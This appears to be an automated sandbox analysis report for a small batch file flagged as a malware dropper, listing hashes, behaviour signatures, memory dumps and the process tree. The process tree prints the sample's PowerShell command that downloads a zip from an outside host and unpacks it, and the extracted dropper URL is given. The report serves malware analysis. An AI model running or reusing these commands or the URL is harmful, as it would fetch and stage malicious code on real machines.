3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1561s
max time network
1564s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (8).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2964	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2964	powershell.exe
2336	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 2964	796	cmd.exe	29
PID 796 wrote to memory of 2964	796	cmd.exe	29
PID 796 wrote to memory of 2964	796	cmd.exe	29
PID 796 wrote to memory of 2336	796	cmd.exe	30
PID 796 wrote to memory of 2336	796	cmd.exe	30
PID 796 wrote to memory of 2336	796	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2336

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1233ZE7D318727HPPK0U.temp

Filesize
7KB

MD5
bdb616cf58c97f44478c6430d35378ca

SHA1
cf09ddc105d510c5d23948272015454a149ef72a

SHA256
2a8a7f739ac020e84dfffa35aee2bffbaef8f28e9d01db536ff1aac49307214c

SHA512
93f6e9dcb3162962caa7904179d6a4f14f1b0447495666e63fba1be7469c70f2578593711663f17e4c4e43afd54320f45b92bd10c155fda6812490730cba54cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bdb616cf58c97f44478c6430d35378ca

SHA1
cf09ddc105d510c5d23948272015454a149ef72a

SHA256
2a8a7f739ac020e84dfffa35aee2bffbaef8f28e9d01db536ff1aac49307214c

SHA512
93f6e9dcb3162962caa7904179d6a4f14f1b0447495666e63fba1be7469c70f2578593711663f17e4c4e43afd54320f45b92bd10c155fda6812490730cba54cc

Download Submit
memory/2336-26-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2336-25-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2336-24-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2336-23-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2336-22-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2336-20-0x0000000002430000-0x0000000002438000-memory.dmp

Filesize
32KB

Download
memory/2336-21-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2336-19-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2964-8-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2964-13-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-11-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2964-10-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2964-9-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2964-4-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-7-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-6-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/2964-5-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download